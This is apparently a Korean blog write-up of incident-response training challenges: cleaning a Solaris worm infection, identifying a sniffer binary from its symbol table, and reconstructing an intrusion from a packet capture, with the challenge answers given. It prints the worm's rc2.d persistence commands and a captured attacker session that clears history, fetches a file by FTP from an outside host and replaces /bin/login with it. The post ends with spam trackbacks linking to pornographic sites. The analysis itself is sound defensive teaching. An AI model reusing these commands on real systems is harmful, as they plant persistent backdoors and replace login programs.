  root 16670 16662  0 13:08:54 pts/2    0:00 sh
  root    65     1  0   Apr 20 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0   Apr 20 ?        2:26 /usr/lib/picl/picld
  root    74     1  0   Apr 20 ?        0:00 devfsadmd
  root   185     1  0   Apr 20 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0   Apr 20 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0   Apr 20 ?        0:00 /usr/sbin/cron
  root   445     1  0   Apr 20 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0   Apr 20 ?        0:01 /usr/sbin/nscd
  root   431     1  0   Apr 20 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0   Apr 20 ?        0:00 /usr/sbin/in.named
  root   467     1  0   Apr 20 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0   Apr 20 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0   Apr 20 ?        0:00 /usr/lib/power/powerd
  root   480     1  0   Apr 20 ?        0:00 /usr/lib/lpsched
  root   530   528  0   Apr 20 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0   Apr 20 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0   Apr 20 ?        0:02 /usr/sbin/vold
  root   515     1  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0   Apr 20 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 17049     1  0 13:12:27 ?        0:00 /bin/vsh /dev/cuc/uniattack.sh
  root 17035     1  0 13:12:27 ?        0:00 /dev/cuc/grabbb -t 3 -a 192.168.1
.20 -b 224.225.98.6 111
  root   596     1  0   Apr 20 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0   Apr 20 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0   Apr 20 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0   Apr 20 ?        0:00 mibiisa -r -p 32797
  root   661     1  0   Apr 20 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0   Apr 20 ?        0:00 /usr/lib/saf/ttymon
  root 16524   418  0 13:06:58 ?        0:00 in.telnetd
  root   699     1  0   Apr 20 ?        0:00 /usr/lib/saf/sac -t 300
  root 17044     1  0 13:12:27 ?        0:00 /bin/vsh /dev/cuc/sadmin.sh
  root 16606 16524  0 13:08:18 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root  3374   636  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0   Apr 20 ?        0:00 /usr/openwin/bin/fbconsole -d :0
  root 17054     1  0 13:12:27 ?        0:00 /bin/vsh /dev/cuc/time.sh
  root 17063     1  0 13:12:27 ?        0:00 /usr/local/bin/perl /dev/cuc/unia
ttack.pl 224.225.98.6:80
  root 17074 16670  0 13:12:29 pts/2    0:00 ps -ef
#

worm의 프로세스로 추정되는 프로세스들을 찾았습니다.

해당 경로로 가서 파일들을 살펴 봅니다.

# cd /dev/cuc
# ls -al
total 805
drwxr-xr-x    2 root     other        1024 Apr 22 13:12 .
drwxr-xr-x   20 root     sys          4096 Apr 22 02:06 ..
-rw-r--r--    1 root     other         241 Apr 22 13:12 cmd.txt
-rw-r--r--    1 root     root          241 Apr 14  2006 cmd.txt.13
-rw-r--r--    1 root     root          241 Oct 26  2005 cmd.txt.33
-rw-r--r--    1 root     root          241 Oct 25  2005 cmd.txt.38
-r-xr--r--    1 root     other      115788 Apr 22 13:12 grabbb
-r-xr--r--    1 root     root       115788 Apr 14  2006 grabbb.13
-r-xr--r--    1 root     root       115788 Oct 26  2005 grabbb.33
-r-xr--r--    1 root     root       115788 Oct 25  2005 grabbb.38
-rw-r--r--    1 root     other        1591 Apr 22 13:12 sadmin.sh
-rw-r--r--    1 root     root         1591 Apr 14  2006 sadmin.sh.13
-rw-r--r--    1 root     root         1591 Oct 26  2005 sadmin.sh.33
-rw-r--r--    1 root     root         1591 Oct 25  2005 sadmin.sh.38
-rw-r--r--    1 root     other         566 Apr 22 13:12 time.sh
-rw-r--r--    1 root     root          566 Apr 14  2006 time.sh.13
-rw-r--r--    1 root     root          566 Oct 26  2005 time.sh.33
-rw-r--r--    1 root     root          566 Oct 25  2005 time.sh.38
-rw-r--r--    1 root     other       67798 Apr 22 13:12 uniattack.pl
-rw-r--r--    1 root     root        67798 Apr 14  2006 uniattack.pl.13
-rw-r--r--    1 root     root        67798 Oct 26  2005 uniattack.pl.33
-rw-r--r--    1 root     root        67798 Oct 25  2005 uniattack.pl.38
-rw-r--r--    1 root     other         646 Apr 22 13:12 uniattack.sh
-rw-r--r--    1 root     root          646 Apr 14  2006 uniattack.sh.13
-rw-r--r--    1 root     root          646 Oct 26  2005 uniattack.sh.33
-rw-r--r--    1 root     root          646 Oct 25  2005 uniattack.sh.38
# cat cmd.txt
/bin/echo "/bin/nohup /dev/cuc/start.sh >/dev/null 2>&1 &" > /etc/rc2.d/tmp1
/bin/cat /etc/rc2.d/S71rpc >> /etc/rc2.d/tmp1
/bin/mv /etc/rc2.d/S71rpc /etc/rc2.d/tmp2
/bin/mv /etc/rc2.d/tmp1 /etc/rc2.d/S71rpc
/bin/chmod 744 /etc/rc2.d/S71rpc
#

해당 폴더, /etc/rc2.d/tmp1,/etc/rc2.d/S71rpc,/etc/rc2.d/tmp2 등을 지우고,
악성 프로세스들을 모두 죽입니다.

# ps -ef|grep cuc
  root 17049     1  0 13:12:27 ?        0:00 /bin/vsh /dev/cuc/uniattack.sh
  root 17035     1  0 13:12:27 ?        0:00 /dev/cuc/grabbb -t 3 -a 192.168.1
.20 -b 224.225.98.6 111
  root 17044     1  0 13:12:27 ?        0:00 /bin/vsh /dev/cuc/sadmin.sh
  root 17054     1  0 13:12:27 ?        0:00 /bin/vsh /dev/cuc/time.sh
  root 17063     1  0 13:12:27 ?        0:00 /usr/local/bin/perl /dev/cuc/unia
ttack.pl 224.225.98.6:80
  root 17268 16670  0 13:15:39 pts/2    0:00 grep cuc
#
# kill -9 17049
# kill -9 17035
# kill -9 17044
# kill -9 17054
# kill -9 17063
# rm -rf /dev/cuc/
rm: cannot remove `/dev/cuc//cmd.txt.38': Permission denie
rm: cannot remove `/dev/cuc//sadmin.sh.38': Permission den
rm: cannot remove `/dev/cuc//uniattack.sh.38': Permission
rm: cannot remove `/dev/cuc//time.sh.38': Permission denie
rm: cannot remove `/dev/cuc//uniattack.pl.38': Permission
rm: cannot remove `/dev/cuc//grabbb.38': Permission denied
rm: cannot remove `/dev/cuc//cmd.txt.13': Permission denie
rm: cannot remove `/dev/cuc//sadmin.sh.13': Permission den
rm: cannot remove `/dev/cuc//uniattack.sh.13': Permission
rm: cannot remove `/dev/cuc//time.sh.13': Permission denie
rm: cannot remove `/dev/cuc//uniattack.pl.13': Permission
rm: cannot remove `/dev/cuc//cmd.txt.33': Permission denie
rm: cannot remove `/dev/cuc//sadmin.sh.33': Permission den
rm: cannot remove `/dev/cuc//uniattack.sh.33': Permission
rm: cannot remove `/dev/cuc//time.sh.33': Permission denie
rm: cannot remove `/dev/cuc//uniattack.pl.33': Permission
rm: cannot remove `/dev/cuc//grabbb.33': Permission denied
rm: cannot remove `/dev/cuc//grabbb.13': Permission denied
# rm -rf /etc/rc2.d/tmp1
# rm -rf /etc/rc2.d/S71rpc
# rm -rf /etc/rc2.d/tmp2

# cat /dev/null > /etc/services
# cat /dev/null > /etc/inetd.conf

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Congratz! You made a success of challenge!


=====================================================
Question 21 -  악성 프로그램 분석
=====================================================

# /usr/ccs/bin/nm /dev/a.out

/dev/a.out:
[Index]   Value      Size    Type  Bind  Other Shndx   Name
[29]    |         0|       0|SECT |LOCL |0    |28     |
[28]    |         0|       0|SECT |LOCL |0    |27     |
[27]    |         0|       0|SECT |LOCL |0    |26     |
[26]    |         0|       0|SECT |LOCL |0    |25     |
[25]    |         0|       0|SECT |LOCL |0    |24     |
[24]    |         0|       0|SECT |LOCL |0    |23     |
[23]    |    147264|       0|SECT |LOCL |0    |22     |
[21]    |    147252|       0|SECT |LOCL |0    |20     |
[20]    |    147248|       0|SECT |LOCL |0    |19     |
[19]    |    147240|       0|SECT |LOCL |0    |18     |
[17]    |    147188|       0|SECT |LOCL |0    |16     |
[16]    |    146996|       0|SECT |LOCL |0    |15     |
[15]    |    146536|       0|SECT |LOCL |0    |14     |
[18]    |    147232|       0|SECT |LOCL |0    |17     |
[22]    |    147256|       0|SECT |LOCL |0    |21     |
[2]     |     65748|       0|SECT |LOCL |0    |1      |
[3]     |     65768|       0|SECT |LOCL |0    |2      |
[4]     |     66492|       0|SECT |LOCL |0    |3      |
[6]     |     68664|       0|SECT |LOCL |0    |5      |
[7]     |     68728|       0|SECT |LOCL |0    |6      |
[5]     |     67932|       0|SECT |LOCL |0    |4      |
[8]     |     68764|       0|SECT |LOCL |0    |7      |
[9]     |     68800|       0|SECT |LOCL |0    |8      |
[10]    |     69208|       0|SECT |LOCL |0    |9      |
[11]    |     79236|       0|SECT |LOCL |0    |10     |
[12]    |     79264|       0|SECT |LOCL |0    |11     |
[13]    |     79288|       0|SECT |LOCL |0    |12     |
[14]    |    146496|       0|SECT |LOCL |0    |13     |
[134]   |    147224|       4|OBJT |GLOB |0    |16     |CLroot
[117]   |     70908|    1520|FUNC |GLOB |0    |9      |END_NODE
[81]    |     70700|     208|FUNC |GLOB |0    |9      |GET_NODE
[113]   |    148260|       4|OBJT |GLOB |0    |22     |LOG
[130]   |    147220|       4|OBJT |GLOB |0    |16     |LastTIME
[99]    |    148256|       4|OBJT |GLOB |0    |22     |LogName
[75]    |     70656|      44|FUNC |GLOB |0    |9      |NOWtm
[109]   |    148272|   16512|OBJT |GLOB |0    |22     |Packet
[96]    |     69672|      40|FUNC |GLOB |0    |9      |Pexit
[147]   |    148264|       4|OBJT |GLOB |0    |22     |ProgName
[77]    |     70592|      64|FUNC |GLOB |0    |9      |Ptm
[146]   |     70348|     244|FUNC |GLOB |0    |9      |SERVp
[65]    |     69760|     116|FUNC |GLOB |0    |9      |Symaddr
[101]   |     69876|     472|FUNC |GLOB |0    |9      |TCPflags
[149]   |     69712|      48|FUNC |GLOB |0    |9      |Zexit
[104]   |    146996|       0|OBJT |GLOB |0    |15     |_DYNAMIC
[31]    |    295856|       0|OBJT |LOCL |0    |22     |_END_
[102]   |    146496|       0|OBJT |GLOB |0    |13     |_GLOBAL_OFFSET_
[82]    |         0|       0|NOTY |WEAK |0    |UNDEF  |_Jv_RegisterCla
[126]   |    146536|       0|OBJT |GLOB |0    |14     |_PROCEDURE_LINK
[30]    |     65536|       0|OBJT |LOCL |0    |1      |_START_
[56]    |    147236|       0|OBJT |LOCL |0    |17     |__CTOR_END__
[39]    |    147232|       0|OBJT |LOCL |0    |17     |__CTOR_LIST__
[53]    |    147244|       0|OBJT |LOCL |0    |18     |__DTOR_END__
[40]    |    147240|       0|OBJT |LOCL |0    |18     |__DTOR_LIST__
[41]    |    147248|       0|OBJT |LOCL |0    |19     |__EH_FRAME_BEGI
[59]    |    147248|       0|OBJT |LOCL |0    |19     |__FRAME_END__
[58]    |    147252|       0|OBJT |LOCL |0    |20     |__JCR_END__
[46]    |    147252|       0|OBJT |LOCL |0    |20     |__JCR_LIST__
[140]   |    147408|     521|OBJT |GLOB |0    |22     |__ctype
[98]    |         0|       0|NOTY |WEAK |0    |UNDEF  |__deregister_fr
[54]    |     79140|       0|FUNC |LOCL |0    |9      |__do_global_cto
[35]    |     69332|       0|FUNC |LOCL |0    |9      |__do_global_dto
[62]    |    147192|       0|OBJT |GLOB |0    |16     |__dso_handle
[94]    |    147936|     320|OBJT |GLOB |0    |22     |__iob
[85]    |         0|       0|NOTY |WEAK |0    |UNDEF  |__register_fram
[64]    |    147408|     521|OBJT |WEAK |0    |22     |_ctype
[66]    |    147260|       0|OBJT |GLOB |0    |21     |_edata
[108]   |    295856|       0|OBJT |GLOB |0    |22     |_end
[86]    |    147400|       4|OBJT |GLOB |0    |22     |_environ
[132]   |     80960|       0|OBJT |GLOB |0    |12     |_etext
[128]   |    146608|       0|FUNC |GLOB |0    |UNDEF  |_exit
[97]    |     79264|      20|FUNC |GLOB |0    |11     |_fini
[74]    |     79236|      28|FUNC |GLOB |0    |10     |_init
[80]    |    147936|     320|OBJT |WEAK |0    |22     |_iob
[129]   |     79288|       4|OBJT |GLOB |0    |12     |_lib_version
[84]    |     69208|     116|FUNC |GLOB |0    |9      |_start
[1]     |         0|       0|FILE |LOCL |0    |ABS    |a.out
[63]    |    146836|       0|FUNC |GLOB |0    |UNDEF  |alarm
[91]    |    146584|       0|FUNC |GLOB |0    |UNDEF  |atexit
[148]   |    146968|       0|FUNC |GLOB |0    |UNDEF  |atoi
[48]    |    147304|      10|OBJT |LOCL |0    |22     |buf.1
[125]   |    147208|       4|OBJT |GLOB |0    |16     |bufmod
[55]    |     79220|       0|FUNC |LOCL |0    |9      |call___do_globa
x
[37]    |     69508|       0|FUNC |LOCL |0    |9      |call___do_globa
x
[42]    |     69656|       0|FUNC |LOCL |0    |9      |call_frame_dumm
[95]    |     74264|     212|FUNC |GLOB |0    |9      |clear_victim
[44]    |    147264|       1|OBJT |LOCL |0    |22     |completed.1
[32]    |         0|       0|FILE |LOCL |0    |ABS    |crti.s
[60]    |         0|       0|FILE |LOCL |0    |ABS    |crtn.s
[52]    |         0|       0|FILE |LOCL |0    |ABS    |crtstuff.c
[34]    |         0|       0|FILE |LOCL |0    |ABS    |crtstuff.c
[116]   |    146920|       0|FUNC |GLOB |0    |UNDEF  |crypt
[143]   |    146716|       0|FUNC |GLOB |0    |UNDEF  |ctime
[107]   |    164784|  131072|OBJT |GLOB |0    |22     |databuf
[89]    |    147196|       4|OBJT |GLOB |0    |16     |debug
[78]    |    148268|       4|OBJT |GLOB |0    |22     |device
[103]   |     75284|     120|FUNC |GLOB |0    |9      |dlattachreq
[122]   |     75780|     172|FUNC |GLOB |0    |9      |dlbindack
[88]    |     75612|     168|FUNC |GLOB |0    |9      |dlbindreq
[137]   |     75404|     208|FUNC |GLOB |0    |9      |dlokack
[61]    |     75952|     120|FUNC |GLOB |0    |9      |dlpromisconreq
[136]   |     76108|    1272|FUNC |GLOB |0    |9      |do_it
[110]   |    147400|       4|OBJT |WEAK |0    |22     |environ
[87]    |     74476|     100|FUNC |GLOB |0    |9      |err
[50]    |    147320|      80|OBJT |LOCL |0    |22     |errmsg.2
[115]   |    146596|       0|FUNC |GLOB |0    |UNDEF  |exit
[145]   |     75064|      80|FUNC |GLOB |0    |9      |expecting
[139]   |    146812|       0|FUNC |GLOB |0    |UNDEF  |fclose
[83]    |    146764|       0|FUNC |GLOB |0    |UNDEF  |fflush
[68]    |     72428|    1836|FUNC |GLOB |0    |9      |filter
[112]   |    147212|       4|OBJT |GLOB |0    |16     |filter_flags
[121]   |    146956|       0|FUNC |GLOB |0    |UNDEF  |fopen
[38]    |    147188|       0|OBJT |LOCL |0    |16     |force_to_data
[57]    |    147228|       0|OBJT |LOCL |0    |16     |force_to_data
[118]   |    146668|       0|FUNC |GLOB |0    |UNDEF  |fprintf
[120]   |    146752|       0|FUNC |GLOB |0    |UNDEF  |fputc
[36]    |     69524|       0|FUNC |LOCL |0    |9      |frame_dummy
[106]   |    146776|       0|FUNC |GLOB |0    |UNDEF  |free
[76]    |     77380|     144|FUNC |GLOB |0    |9      |getauth
[133]   |    146680|       0|FUNC |GLOB |0    |UNDEF  |gethostbyaddr
[131]   |    146848|       0|FUNC |GLOB |0    |UNDEF  |getmsg
[142]   |    146908|       0|FUNC |GLOB |0    |UNDEF  |getpass
[114]   |    146980|       0|FUNC |GLOB |0    |UNDEF  |getpid
[127]   |    147200|       4|OBJT |GLOB |0    |16     |if_fd
[72]    |    146692|       0|FUNC |GLOB |0    |UNDEF  |inet_ntoa
[49]    |    147296|       8|OBJT |LOCL |0    |22     |iobuf.0
[69]    |    146860|       0|FUNC |GLOB |0    |UNDEF  |ioctl
[111]   |     77524|    1608|FUNC |GLOB |0    |9      |main
[70]    |    146800|       0|FUNC |GLOB |0    |UNDEF  |malloc
[79]    |    147216|       4|OBJT |GLOB |0    |16     |maxbuflen
[71]    |    146788|       0|FUNC |GLOB |0    |UNDEF  |memcpy
[43]    |    147268|      24|OBJT |LOCL |0    |22     |object.2
[67]    |    146884|       0|FUNC |GLOB |0    |UNDEF  |open
[45]    |    147256|       0|OBJT |LOCL |0    |21     |p.0
[90]    |    146656|       0|FUNC |GLOB |0    |UNDEF  |perror
[135]   |    147204|       4|OBJT |GLOB |0    |16     |promisc
[92]    |    146872|       0|FUNC |GLOB |0    |UNDEF  |putmsg
[51]    |     74576|      32|FUNC |LOCL |0    |9      |sigalrm
[119]   |    146824|       0|FUNC |GLOB |0    |UNDEF  |signal
[47]    |         0|       0|FILE |LOCL |0    |ABS    |solsniff.c
[123]   |    146704|       0|FUNC |GLOB |0    |UNDEF  |sprintf
[100]   |    146932|       0|FUNC |GLOB |0    |UNDEF  |strcmp
[73]    |    146896|       0|FUNC |GLOB |0    |UNDEF  |strcpy
[105]   |     74608|     456|FUNC |GLOB |0    |9      |strgetmsg
[141]   |     75144|     140|FUNC |GLOB |0    |9      |strioctl
[138]   |    146728|       0|FUNC |GLOB |0    |UNDEF  |strlen
[144]   |     76072|      36|FUNC |GLOB |0    |9      |syserr
[93]    |    146740|       0|FUNC |GLOB |0    |UNDEF  |time
[124]   |    146944|       0|FUNC |GLOB |0    |UNDEF  |toupper
[33]    |         0|       0|FILE |LOCL |0    |ABS    |values-Xa.c
#



# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > a.out의 용도는 무엇입니까?
Answer > sniffer
Congratz! You made a success of challenge!


=====================================================
Question 22 -  네트워크 패킷 분석
=====================================================

$ cd /home1/user001
$ ls -al
total 192
drwxr-xr-x    2 user001  training     1536 Apr 22 14:13 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 user001  training      185 Apr 22 14:13 .profile
-rw-r--r--    1 root     other      178544 Apr 22 14:13 0108@000-snort.log
-rw-r--r--    1 user001  training      124 Apr 22 14:13 local.cshrc
-rw-r--r--    1 user001  training      607 Apr 22 14:13 local.login
-rw-r--r--    1 user001  training      582 Apr 22 14:13 local.profile

$ /usr/local/bin/tcpflow -r 0108@000-snort.log
$ ls -al
total 314
drwxr-xr-x    2 user001  training     1536 Apr 22 14:13 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 user001  training      185 Apr 22 14:13 .profile
-rw-r--r--    1 root     other      178544 Apr 22 14:13 0108@000-snort.log
-rw-r--r--    1 user001  training    89776 Apr 22 14:13 064.224.118.115.00020-17
2.016.001.102.33514
-rw-r--r--    1 user001  training      590 Apr 22 14:13 064.224.118.115.00021-17
2.016.001.102.33511
-rw-r--r--    1 user001  training       58 Apr 22 14:13 066.156.236.056.04065-17
2.016.001.102.00023
-rw-r--r--    1 user001  training       70 Apr 22 14:13 172.016.001.102.00021-19
5.174.097.101.01876
-rw-r--r--    1 user001  training       73 Apr 22 14:13 172.016.001.102.00023-06
6.156.236.056.04065
-rw-r--r--    1 user001  training      449 Apr 22 14:13 172.016.001.102.01524-20
8.061.001.160.03596
-rw-r--r--    1 user001  training       67 Apr 22 14:13 172.016.001.102.06112-20
8.061.001.160.03590
-rw-r--r--    1 user001  training       80 Apr 22 14:13 172.016.001.102.33511-06
4.224.118.115.00021
-rw-r--r--    1 user001  training       72 Apr 22 14:13 172.016.001.105.00021-19
5.174.097.101.01879
-rw-r--r--    1 user001  training       70 Apr 22 14:13 172.016.001.108.00021-19
5.174.097.101.01884
-rw-r--r--    1 user001  training       16 Apr 22 14:13 195.174.097.101.01876-17
2.016.001.102.00021
-rw-r--r--    1 user001  training       16 Apr 22 14:13 195.174.097.101.01879-17
2.016.001.105.00021
-rw-r--r--    1 user001  training       16 Apr 22 14:13 195.174.097.101.01884-17
2.016.001.108.00021
-rw-r--r--    1 user001  training       53 Apr 22 14:13 208.061.001.160.03590-17
2.016.001.102.06112
-rw-r--r--    1 user001  training     4178 Apr 22 14:13 208.061.001.160.03592-17
2.016.001.102.06112
-rw-r--r--    1 user001  training     4178 Apr 22 14:13 208.061.001.160.03593-17
2.016.001.102.06112
-rw-r--r--    1 user001  training     4178 Apr 22 14:13 208.061.001.160.03594-17
2.016.001.102.06112
-rw-r--r--    1 user001  training     4178 Apr 22 14:13 208.061.001.160.03595-17
2.016.001.102.06112
-rw-r--r--    1 user001  training      370 Apr 22 14:13 208.061.001.160.03596-17
2.016.001.102.01524
-rw-r--r--    1 user001  training      124 Apr 22 14:13 local.cshrc
-rw-r--r--    1 user001  training      607 Apr 22 14:13 local.login
-rw-r--r--    1 user001  training      582 Apr 22 14:13 local.profile
$

1524포트의 이름이 들어간 파일을 찾아보면,

$ ls *1524* -al
-rw-r--r--    1 user001  training      449 Apr 22 14:13 172.016.001.102.01524-20
8.061.001.160.03596
-rw-r--r--    1 user001  training      370 Apr 22 14:13 208.061.001.160.03596-17
2.016.001.102.01524
$

$ cat 172.016.001.102.01524-208.061.001.160.03596
# SunOS buzzy 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-5_10
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
BD PID(s): 3476
#   8:47am  up 11:24,  0 users,  load average: 0.12, 0.04, 0.02
User     tty           login@  idle   JCPU   PCPU  what
# # # mkdir: Failed to make directory "/usr/lib"; File exists
# # ftp: ioctl(TIOCGETP): Invalid argument
Password:
Name (64.224.118.115:root): # # ps_data
sun1
# # # $


# # # $ cat 208.061.001.160.03596-172.016.001.102.01524
uname -a;ls -l /core /var/dt/tmp/DTSPCD.log;PATH=/usr/local/bin:/usr/bin:/bin:/u
sr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH;echo "BD PID(s): "`ps -fed|g
rep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
w
unset HISTFILE
cd /tmp
mkdir /usr/lib
mv /bin/login /usr/lib/libfl.k
ftp 64.224.118.115
ftp
a@
cd pub
binary
get sun1
bye
ls
chmod 555 sun1
mv sun1 /bin/login
$

내용을 보면, ftp를 이용해 64.224.118.115로 접속해서 sun1이라는 파일을 받은 후,
해당 파일을 /bin/login에 덮어쓰는 것을 볼 수 있습니다.
즉 ftp 포트 (20) 번으로 넘어 온 파일이 sun1파일 즉 악성 파일일 것입니다.

$ ls *64.224.118.115*20* -al
-rw-r--r--    1 user001  training    89776 Apr 22 14:13 064.224.118.115.00020-17
2.016.001.102.33514
$ cp 064.224.118.115.00020-172.016.001.102.33514 evidence

$ finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > 공격자가 다운로드한 파일 이름은?
Answer > s  1
Question > 공격자가 변조한 파일 이름은?
Answer > l   n
Congratz! You made a success of challenge!


이올린에 북마크하기(0) 이올린에 추천하기(0)

Posted by Dual

2007/04/21 14:50 2007/04/21 14:50
Response
143 Trackbacks , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/279

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/279

Trackbacks List

  1. ezufwtyp

    Tracked from ezufwtyp 2009/03/13 14:33 Delete

    ezufwtyp

  2. erotic nudes

    Tracked from erotic nudes 2009/04/08 16:08 Delete

    erotic nude model <a href="http://emyce9122008.blogspot.com/">erotic nude model</a>

  3. shaved naturists

    Tracked from shaved naturists 2009/04/10 17:13 Delete

    tracy arm fjord <a href="http://obyxi9122008.blogspot.com/">tracy arm fjord</a>

  4. vanessa-huchins-nude

    Tracked from vanessa-huchins-nude 2009/04/10 21:21 Delete

    <a href="http://girlnudistcamps48.forumotion.net/your-first-forum-f1/ultimate-pinoy-hunks-t8.htm">ultimate-pinoy-hunks</a> ultimate-pinoy-hunks <a href="http://nudedancers13.forumotion.net/your-first-forum-f1/russian-family-naturist-t5.htm">russian-f...

  5. seaking-fem

    Tracked from seaking-fem 2009/04/10 22:03 Delete

    <a href="http://teensexstories58.forumotion.net/">viggo-mortenson-nude</a> viggo-mortenson-nude <a href="http://lesbiansporn22.forumotion.net/">xxx-raimi-videos</a> xxx-raimi-videos

  6. nancy-odell-nude

    Tracked from nancy-odell-nude 2009/04/13 00:07 Delete

    <a href="http://www.maclife.com/user/49175/">grip-korean-inuyasha</a> grip-korean-inuyasha <a href="http://www.maclife.com/user/48720/">augmentation-mammaire-grenoble</a> augmentation-mammaire-grenoble

  7. ffxi-model-viewer

    Tracked from ffxi-model-viewer 2009/04/13 01:18 Delete

    <a href="http://www.maclife.com/user/49186/">juanita-bynum-assaulted</a> juanita-bynum-assaulted <a href="http://www.maclife.com/user/48371/">vintage-car-bluebook</a> vintage-car-bluebook

  8. removing-genital-warts

    Tracked from removing-genital-warts 2009/04/13 01:54 Delete

    <a href="http://www.maclife.com/user/48340/">priciples-of-adult-learning</a> priciples-of-adult-learning <a href="http://www.maclife.com/user/48487/">pontic-vibe</a> pontic-vibe

  9. free gay chat

    Tracked from free gay chat 2009/04/14 15:04 Delete

    teen model factory <a href="http://dig5792008.blogspot.com/">teen model factory</a>

  10. asian-lesbian-porn

    Tracked from asian-lesbian-porn 2009/04/14 15:51 Delete

    free-pokemon-porn <a href="http://www.maclife.com/user/51790/">free-pokemon-porn</a> adult-sex-toy <a href="http://www.maclife.com/user/51803/">adult-sex-toy</a>

  11. lulu-sex-bomb

    Tracked from lulu-sex-bomb 2009/04/14 16:57 Delete

    college-girls-gone-bad <a href="http://www.maclife.com/user/51407/">college-girls-gone-bad</a> free-shemale-porn <a href="http://www.maclife.com/user/51836/">free-shemale-porn</a>

  12. adult-sex-tv

    Tracked from adult-sex-tv 2009/04/14 17:31 Delete

    jolene-blalock-nude <a href="http://www.maclife.com/user/51361/">jolene-blalock-nude</a> florida-sex-offenders <a href="http://www.maclife.com/user/51710/">florida-sex-offenders</a>

  13. pink-porn-stars

    Tracked from pink-porn-stars 2009/04/14 18:28 Delete

    free-gay-xxx <a href="http://www.maclife.com/user/51580/">free-gay-xxx</a> all-free-gay <a href="http://www.maclife.com/user/51285/">all-free-gay</a>

  14. free-hardcore-sex-clips

    Tracked from free-hardcore-sex-clips 2009/04/14 19:06 Delete

    pink-porn-star <a href="http://www.maclife.com/user/52072/">pink-porn-star</a> high-school-porn <a href="http://www.maclife.com/user/52052/">high-school-porn</a>

  15. Wild Girls Bathing

    Tracked from Wild Girls Bathing 2009/04/16 23:56 Delete

    Sex Offender List <a href="http://kalozu9852008.blogspot.com/">Sex Offender List</a>

  16. Asian-Sex-Movies

    Tracked from Asian-Sex-Movies 2009/04/17 01:01 Delete

    Free-Porn-Samples <a href="http://www.videocodezone.com/users/Free-Porn-Samples/">Free-Porn-Samples</a> Jessica-Rabbit-Nude <a href="http://www.videocodezone.com/users/Jessica-Rabbit-Nude/">Jessica-Rabbit-Nude</a>

  17. Sexy-Nude-Girls

    Tracked from Sexy-Nude-Girls 2009/04/17 01:39 Delete

    Tiny-Micro-Bikinis <a href="http://www.videocodezone.com/users/Tiny-Micro-Bikinis/">Tiny-Micro-Bikinis</a> Free-Xxx-Video <a href="http://www.videocodezone.com/users/Free-Xxx-Video/">Free-Xxx-Video</a>

  18. Csm-Teen-Model

    Tracked from Csm-Teen-Model 2009/04/17 02:20 Delete

    Nude-Celebrity-Phot <a href="http://www.videocodezone.com/users/Nude-Celebrity-Phot/">Nude-Celebrity-Phot</a> Monster-Gay-Cocks <a href="http://www.videocodezone.com/users/Monster-Gay-Cocks/">Monster-Gay-Cocks</a>

  19. Lauren-Graham-Nude

    Tracked from Lauren-Graham-Nude 2009/04/17 03:50 Delete

    Free-Adult-Sex-Vide <a href="http://www.videocodezone.com/users/Free-Adult-Sex-Vide/">Free-Adult-Sex-Vide</a> Teen-Lingerie-Model <a href="http://www.videocodezone.com/users/Teen-Lingerie-Model/">Teen-Lingerie-Model</a>

  20. Isla-Fisher-Nude

    Tracked from Isla-Fisher-Nude 2009/04/17 04:25 Delete

    Free-Legal-Adult-Vi <a href="http://www.videocodezone.com/users/Free-Legal-Adult-Vi/">Free-Legal-Adult-Vi</a> Fuck-Me-Hard <a href="http://www.videocodezone.com/users/Fuck-Me-Hard/">Fuck-Me-Hard</a>

  21. 9inch cock pictures

    Tracked from 9inch cock pictures 2009/04/20 22:12 Delete

    hilary duffs boobs <a href="http://asexusauat3832008.blogspot.com/">hilary duffs boobs</a>

  22. brazillian transexuals

    Tracked from brazillian transexuals 2009/04/22 21:49 Delete

    leesburg implant dentist <a href="http://ouawugikubuke7402008.blogspot.com/">leesburg implant dentist</a>

  23. waxing-gibbous

    Tracked from waxing-gibbous 2009/04/22 22:16 Delete

    inuyahsa-hentai <a href="http://www.maclife.com/user/63039/">inuyahsa-hentai</a> infant-adjustable-waist-pants <a href="http://www.maclife.com/user/63113/">infant-adjustable-waist-pants</a>

  24. crimson-ninja-pornstar

    Tracked from crimson-ninja-pornstar 2009/04/22 22:35 Delete

    jacks-big-tit-show4 <a href="http://www.maclife.com/user/62995/">jacks-big-tit-show4</a> oops-celeb-carol-connors <a href="http://www.maclife.com/user/63095/">oops-celeb-carol-connors</a>

  25. free-hentai-badjojo

    Tracked from free-hentai-badjojo 2009/04/22 22:58 Delete

